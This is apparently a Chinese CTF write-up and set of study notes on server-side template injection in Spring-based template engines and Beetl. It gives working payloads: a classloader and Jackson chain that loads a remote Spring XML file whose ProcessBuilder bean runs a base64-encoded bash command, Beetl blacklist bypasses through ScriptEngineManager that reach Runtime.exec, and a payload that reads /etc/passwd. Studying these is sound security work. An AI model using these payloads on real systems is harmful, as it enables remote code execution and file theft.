org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration scheduledBeanLazyInitializationExcludeFilter taskSchedulerBuilder spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration restTemplateBuilderConfigurer restTemplateBuilder org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration tomcatWebServerFactoryCustomizer org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration characterEncodingFilter localeCharsetMappingsCustomizer org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration multipartConfigElement multipartResolver spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties org.springframework.aop.config.internalAutoProxyCreator
之后也算运气好,测了前几个就发现通过取得internalCachingMetadataReaderFactory对象可以拿到classLoader 因此有了这个我们便可以加载任意类了
1 {% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}
但是我们需要获得一个类实例,但是我们不能去调用它的任何方法毕竟是class类,很好的一点是这里有jackson🤪,beans对象里也能直接获取到,解决一切问题
1 {% set woshishuaibi = beans.get("jacksonObjectMapper").readValue("{}", class1) %}
因此我们能获得一个类的实例以后rce就相对“简单”了🤪,比如说
1 2 3 ScriptEngineManager engineManager = new ScriptEngineManager(); ScriptEngine engine = engineManager.getEngineByName("js"); engine.eval("xxxx");
但题目当中环境是jdk18,发现engineManager.getEngineByName里面裤子都不剩了啥都没有,看来这个方法也是没用的,同时由于jackson实例化限制我们也不能直接实例化jshell
此时灵机一动我又想到两个类,它们实例化加载配置文件可以造成rce
1 2 org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext
但是脸黑啊,环境里面jackson有限制,继承了AbstractPointcutAdvisor/AbstractApplicationContext这两个类的都不行,心里xxx
另类绕过jackson限制
1 2 3 public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException { return Beans.instantiate(cls, beanName, null, null); }
这里的参数cls可以不传,为null则会默认调用ClassLoader.getSystemClassLoader();获取一个classloader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static Object instantiate(ClassLoader cls, String beanName, BeanContext beanContext, AppletInitializer initializer) throws IOException, ClassNotFoundException { InputStream ins; ObjectInputStream oins = null; Object result = null; boolean serialized = false; IOException serex = null; // If the given classloader is null, we check if an // system classloader is available and (if so) // use that instead. // Note that calls on the system class loader will // look in the bootstrap class loader first. if (cls == null) { try { cls = ClassLoader.getSystemClassLoader(); } catch (SecurityException ex) { // We're not allowed to access the system class loader. // Drop through. } }
之后的逻辑我们不需要关注那个二次反序列化的部分,在后面可以看到可以实例化任意public修饰的构造方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 if (result == null) { // No serialized object, try just instantiating the class Class<?> cl; try { cl = ClassFinder.findClass(beanName, cls); } catch (ClassNotFoundException ex) { // There is no appropriate class. If we earlier tried to // deserialize an object and got an IO exception, throw that, // otherwise rethrow the ClassNotFoundException. if (serex != null) { throw serex; } throw ex; } if (!Modifier.isPublic(cl.getModifiers())) { throw new ClassNotFoundException("" + cl + " : no public access"); } /* * Try to instantiate the class. */ try { result = cl.newInstance(); } catch (Exception ex) { // We have to remap the exception to one in our signature. // But we pass extra information in the detail message. throw new ClassNotFoundException("" + cl + " : " + ex, ex); } }
最终模板文件构造
1 2 3 4 5 {% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %} {% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %} {% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %} {{ yyy.setConfigLocation("http://xxxx/1.xml") }} {{ yyy.refresh() }}
1.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>open</value> <value>-a</value> <value>calculator</value> </list> </constructor-arg> </bean> </beans>
本地弹出了计算器,那么现在则可以开始着手解题了, 构造命令./getflag > /tmp/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>bash</value> <value>-c</value> <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value> </list> </constructor-arg> </bean> </beans>
用bp爆破,看到页面有回显的说明执行成功 再包含进来就ok了
这个还是非常麻烦呀!!!就不一个一个跟了
beetl(比特欧) https://asal1n.github.io/2024/08/12/beetl%20%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/index.html
哎,想不到第一个搜到的是学长的博客,带我入门的学长,现在已经把我拉黑了
https://www.cnblogs.com/F12-blog/p/18324587
beetl模板注入,首先绕username=admin拿到密码,这个很简单,unicode编码就行,/render里使用了BeetlKit.render,这里存在注入,不过有黑名单,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pkgName = name.substring(0, i); className = name.substring(i + 1); if (pkgName.startsWith("java.lang.reflect")) { return false; } else if (!pkgName.startsWith("java.lang")) { if (pkgName.startsWith("java.beans")) { return false; } else if (pkgName.startsWith("org.beetl")) { return false; } else if (pkgName.startsWith("javax.")) { return false; } else { return !pkgName.startsWith("sun."); } } else { return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System"); }
听说CVE-2024-22533(妈的,都26年了,好像还是不太好搜到exp。不知道ai给的exp实战到底好不好使)可以代码执行,不过自己摸索没复现出来,这里写一个读取文件的写法,exp如下:
1 ${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("/etc/passwd","")))}
测试依赖
beetl:3.0.11.RELEASE
antlr4‑runtime:4.7.2,beetl引擎运行依赖
调试流程
模板渲染入口为 template.render(),内部调用 renderTo() 设置上下文,执行 program.execute(ctx) 完成模板渲染。
执行链路:execute() → expression.evaluate(),最后进入安全校验函数 checkPermit。
checkPermit 调用 getNativeSecurity().permit(),做类黑名单校验,不允许的类直接抛出异常终止执行。
3.0.11.RELEASE 原始黑名单规则
仅针对 java.lang 包做限制,拦截类:Runtime、Process、ProcessBuilder、System。
其余包、类默认允许调用。
失败尝试:ClassLoader 方式执行命令 payload
1 ${@java.lang.ClassLoader.getSystemClassLoader().LoadClass('java.Lang.Runtime').getRuntime().exec('calc')}
失败原因
ClassLoader 属于抽象类,getSystemClassLoader() 返回的是其子类 sun.misc.Launcher$AppClassLoader。
beetl执行逻辑中,每一步方法调用后,会拿返回对象的实际Class去查找对应方法。
运行时类不存在 loadClass 匹配的方法签名,直接抛出异常,利用失败。
可行绕过payload(JS引擎方式) RCE payload
1 ${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")}
原理:Class.forName、ScriptEngineManager 不在黑名单,通过Java内置JS脚本引擎中转执行命令。
文件读取payload
1 ${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var Files = java.nio.file.Files; var Paths = java.nio.file.Paths; var path = Paths.get('D:/1.txt'); var content = Files.readAllBytes(path); new java.lang.String(content);")}
3.16.0 版本安全更新 更新后的黑名单规则
拦截 java.lang.reflect 包全部类。
拦截 java.beans、org.beetl、javax.*、sun.* 包。
在 java.lang 包下额外新增拦截:Class、Thread。
后续漏洞 CVE‑2024‑22533
版本:3.15.12及以下,虽然扩充黑名单,但依旧存在绕过,可实现RCE。
原文作者表示公开渠道暂无可用POC,未完成复现。
补充要点
beetl调用Java类语法:@全限定类名。
安全机制为黑名单机制,黑名单容易存在绕过点。
触发漏洞前提:用户可控内容直接作为模板字符串交给beetl引擎渲染,而非传入模板参数